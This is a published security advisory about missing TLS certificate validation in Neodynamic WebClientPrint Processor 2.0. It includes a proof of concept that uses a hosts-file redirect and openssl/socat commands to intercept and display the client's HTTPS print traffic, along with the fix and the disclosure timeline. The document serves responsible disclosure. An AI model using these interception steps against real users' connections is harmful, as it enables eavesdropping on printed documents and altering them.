Advisory: WebClientPrint Processor 2.0: No Validation of TLS Certificates

RedTeam Pentesting discovered that WebClientPrint Processor (WCPP) does
not validate TLS certificates when initiating HTTPS connections. Thus, a
man-in-the-middle attacker may intercept and/or modify HTTPS traffic in
transit. This may result in a disclosure of sensitive information and
the integrity of printed documents cannot be guaranteed.


Details
=======

Product: Neodynamic WebClientPrint Processor
Affected Versions: 2.0.15.109 (Microsoft Windows)
Fixed Versions: >= 2.0.15.910
Vulnerability Type: Improper Certificate Validation
Security Risk: medium
Vendor URL: http://www.neodynamic.com/
Vendor Status: fixed version released
Advisory URL: https://www.redteam-pentesting.de/advisories/rt-sa-2015-011
Advisory Status: published
CVE: GENERIC-MAP-NOMATCH
CVE URL: https://cve.mitre.org/cgi-bin/cvename.cgi?name=GENERIC-MAP-NOMATCH


Introduction
============

Neodynamic's WebClientPrint Processor is a client-side application,
which allows server-side applications to print documents on a client's
printer without user interaction, bypassing the browser's print
functionality. The server-side application may be written in ASP.NET or
PHP while on the client-side multiple platforms and browsers are
supported.

"Send raw data, text and native commands to client printers without
showing or displaying any print dialog box!" (Neodynamic's website)


More Details
============

Upon installation under Microsoft Windows, WCPP registers itself as a
handler for the "webclientprint" URL scheme. Thus, any URL starting with
"webclientprint:" is handled by WCPP. For example, entering

webclientprint:-about

in the URL bar of a browser opens the about box of WCPP.

Neodynamic prodvides an online demo for test printing at the following
URL:

http://webclientprint.azurewebsites.net/

If visited via HTTPS, the WCPP component on the client-side will try to
fetch the print job via HTTPS as well.


Proof of Concept
================

To simulate a man-in-the-middle scenario, an entry similar to the
following was appended to the "hosts" file:

------------------------------------------------------------------------
10.0.2.2 webclientprint.azurewebsites.net
------------------------------------------------------------------------

On the host 10.0.2.2, a self-signed certificate can be generated and
afterwards socat[1] can be used to intercept and display the encrypted
HTTP traffic as follows:

------------------------------------------------------------------------
$ openssl genrsa -out server.key 4096
$ openssl dhparam -out dhparam.pem 1024
$ openssl req -new -x509 -key server.key -out server.pem -days 365 \
-subj /CN=webclientprint.azurewebsites.net
$ cat server.key >> server.pem
$ cat dhparam.pem >> server.pem
$ sudo socat -v openssl-listen:443,reuseaddr,verify=0,fork,\
cert=server.pem openssl-connect:webclientprint.azurewebsites.net:443,\
verify=0
------------------------------------------------------------------------

The demo website is available via HTTPS using the following URL:

https://webclientprint.azurewebsites.net/

Any modern browser displays a warning due to the invalid TLS certificate
presented by socat.

On the contrary, WCPP simply accepts any certificate it is presented
with, when, for examplem printing a demo TXT file. Such a request is
given in the listing below. The output has been shortened and wrapped
manually for better readability.

------------------------------------------------------------------------
GET /DemoPrintFile.ashx?clientPrint&useDefaultPrinter=undefined&
    printerName=null&filetype=TXT HTTP/1.0\r
Host: webclientprint.azurewebsites.net\r
User-Agent: WCPP/2.0.15.109(Windows; 6.1)\r
Accept-Encoding: gzip, deflate\r
\r
< 2015/09/07 10:29:27.478913  length=3538 from=0 to=3537
HTTP/1.1 200 OK\r
Cache-Control: private\r
Content-Length: 3180\r
Content-Type: application/octet-stream\r
Server: Microsoft-IIS/8.0\r
X-AspNet-Version: 4.0.30319\r
X-Powered-By: ASP.NET\r
Set-Cookie: ARRAffinity=23c01e1a9de38f884445e396de9940aef5941b9af3f6d9
    cfa57066fe4d5fcb16;Path=/;Domain=webclientprint.azurewebsites.net\r
Date: Mon, 07 Sep 2015 08:29:27 GMT\r
Connection: close\r
\r
cpj..\v...\v..wcpPF:9c8d5316ffeb403d8be09565c2391f92.TXT|Printed By
WebClientPrint\r
=========================\r
\r
Lorem ipsum dolor sit amet, consectetur adipiscing elit. Fusce urna
massa, eleifend non posuere quis, iaculis et libero. Curabitur lacinia
dolor non nisl pharetra tempus.
[...]
Etiam nisl nisi, eleifend vel molestie tincidunt, porttitor ac nunc.
Vestibulum vulputate magna gravida neque imperdiet ac viverra nulla
suscipit..Acopian Technical Company - 1 WebApp Lic - 2 WebServer
Lic|xxxxxxxxxxxxxxxxxxxxx
------------------------------------------------------------------------

This shows that WCPP does not verify TLS certificates when establishing
HTTPS connections.


Workaround
==========

Affected users should disable the WCPP handler and upgrade to a fixed
version as soon as possible.


Fix
===

Install a WCPP version greater or equal to 2.0.15.910[0].


Security Risk
=============

WCPP does not verify TLS certificates when establishing HTTPS
connections. Man-in-the-middle attackers can therefore intercept those
connections with little effort. This may lead to a disclosure of
confidential information if sensitive documents are printed via WCPP.
Furthermore, the integrity of the printed documents cannot be guaranteed
as attackers are able to modify the documents in transit.

The described attack requires a man-in-the-middle position which is a
rather strong prerequisite. It is therefore estimated that the
vulnerability poses a medium risk.


Timeline
========

2015-08-24 Vulnerability identified
2015-09-03 Customer approved disclosure to vendor
2015-09-04 Asked vendor for security contact
2015-09-04 CVE number requested
2015-09-04 Vendor responded with security contact
2015-09-07 Vendor notified
2015-09-07 Vendor acknowledged receipt of advisory
2015-09-15 Vendor released fixed version
2015-09-16 Customer asked to wait with advisory release until all their
           clients are updated
2017-07-31 Customer approved advisory release
2017-08-22 Advisory released


References
==========

[0] https://neodynamic.wordpress.com/2015/09/15/webclientprint-2-0-for-windows-clients-critical-update/
[1] http://www.dest-unreach.org/socat/


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=======================

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